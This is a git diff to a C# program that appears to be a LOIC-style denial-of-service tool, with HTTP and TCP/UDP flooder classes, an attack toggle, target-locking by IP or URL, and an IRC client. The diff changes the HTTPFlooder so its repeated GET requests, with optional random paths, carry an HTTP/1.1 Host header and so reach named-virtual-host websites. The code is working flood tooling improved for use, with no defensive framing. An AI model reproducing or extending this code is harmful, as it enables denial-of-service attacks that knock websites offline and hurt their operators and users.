diff --git a/HTTPFlooder.cs b/HTTPFlooder.cs index 6e604de..3ba1f1e 100644 --- a/HTTPFlooder.cs +++ b/HTTPFlooder.cs @@ -13,30 +13,31 @@ public class HTTPFlooder public int Downloaded { get; set; } public int Requested { get; set; } public int Failed { get; set; } - public bool IsFlooding { get; set; } + public string Host { get; set; } public string IP { get; set; } public int Port { get; set; } public string Subsite { get; set; } public int Delay { get; set; } public int Timeout { get; set; } public bool Resp { get; set; } - private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer(); + private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer(); private long LastAction; private Random rnd = new Random(); - private bool random; + private bool random; public enum ReqState { Ready, Connecting, Requesting, Downloading, Completed, Failed }; - public HTTPFlooder(string ip, int port, string subSite, bool resp, int delay, int timeout, bool random) + public HTTPFlooder(string host, string ip, int port, string subSite, bool resp, int delay, int timeout, bool random) { + this.Host = host; this.IP = ip; this.Port = port; this.Subsite = subSite; this.Resp = resp; this.Delay = delay; this.Timeout = timeout; - this.random = random; + this.random = random; } public void Start() { @@ -69,13 +70,13 @@ private void bw_DoWork(object sender, DoWorkEventArgs e) byte[] buf; if (random == true) { - buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.0{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine)); + buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, Host)); } else { - buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, Environment.NewLine)); + buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host)); } - var host = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port); + var target = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port); while (IsFlooding) { State = ReqState.Ready; // SET STATE TO READY // @@ -83,7 +84,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e) byte[] recvBuf = new byte[64]; var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); State = ReqState.Connecting; // SET STATE TO CONNECTING // - socket.Connect(host); + socket.Connect(target); socket.Blocking = Resp; State = ReqState.Requesting; // SET STATE TO REQUESTING // socket.Send(buf, SocketFlags.None); diff --git a/Properties/AssemblyInfo.cs b/Properties/AssemblyInfo.cs index b183a97..617ab0b 100644 --- a/Properties/AssemblyInfo.cs +++ b/Properties/AssemblyInfo.cs @@ -13,4 +13,4 @@ [assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")] -[assembly: AssemblyVersion("1.1.1.9")] +[assembly: AssemblyVersion("1.1.1.10")] diff --git a/frmMain.cs b/frmMain.cs index 40d94ac..0068cd1 100644 --- a/frmMain.cs +++ b/frmMain.cs @@ -17,7 +17,7 @@ public partial class frmMain : Form { private static XXPFlooder[] xxp; private static HTTPFlooder[] http; - private static string sIP, sMethod, sData, sSubsite; + private static string sHost, sIP, sMethod, sData, sSubsite; private static int iPort, iThreads, iProtocol, iDelay, iTimeout; private static bool bResp, intShowStats; private IrcClient irc; @@ -59,6 +59,13 @@ private void Attack(bool toggle, bool on, bool silent) if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !")) throw new Exception("Select a target."); + if ( sHost.Length > 0 ) + { + if (!sHost.Contains("://")) { sHost = "http://" + sHost; } + sHost = new Uri(sHost).Host; + } + else { sHost = sIP; } + iProtocol = 0; sMethod = cbMethod.Text; if (String.Equals(sMethod, "TCP")) iProtocol = 1; @@ -101,7 +108,7 @@ private void Attack(bool toggle, bool on, bool silent) http = new HTTPFlooder[iThreads]; for (int a = 0; a < http.Length; a++) { - http[a] = new HTTPFlooder(sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked); + http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked); http[a].Start(); } } @@ -141,17 +148,17 @@ private void LockOnIP(bool silent) } private void LockOnURL(bool silent) { - string url = txtTargetURL.Text.ToLower(); - if (url.Length == 0) + sHost = txtTargetURL.Text.ToLower(); + if (sHost.Length == 0) { if (silent) return; new frmWtf().Show(); MessageBox.Show("A URL is fine too...", "What the shit."); return; } - if (url.StartsWith("https://")) url = url.Replace("https://", "http://"); - else if (!url.StartsWith("http://")) url = String.Concat("http://", url); - try { txtTarget.Text = Dns.GetHostEntry(new Uri(url).Host).AddressList[0].ToString(); } + if (sHost.StartsWith("https://")) sHost = sHost.Replace("https://", "http://"); + else if (!sHost.StartsWith("http://")) sHost = String.Concat("http://", sHost); + try { txtTarget.Text = Dns.GetHostEntry(new Uri(sHost).Host).AddressList[0].ToString(); } catch (Exception) { if (silent) return; @@ -606,7 +613,7 @@ private void tShowStats_Tick(object sender, EventArgs e) int iaRequested = http[a].Requested; int iaFailed = http[a].Failed; http[a] = null; - http[a] = new HTTPFlooder(sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked); + http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked); http[a].Downloaded = iaDownloaded; http[a].Requested = iaRequested; http[a].Failed = iaFailed;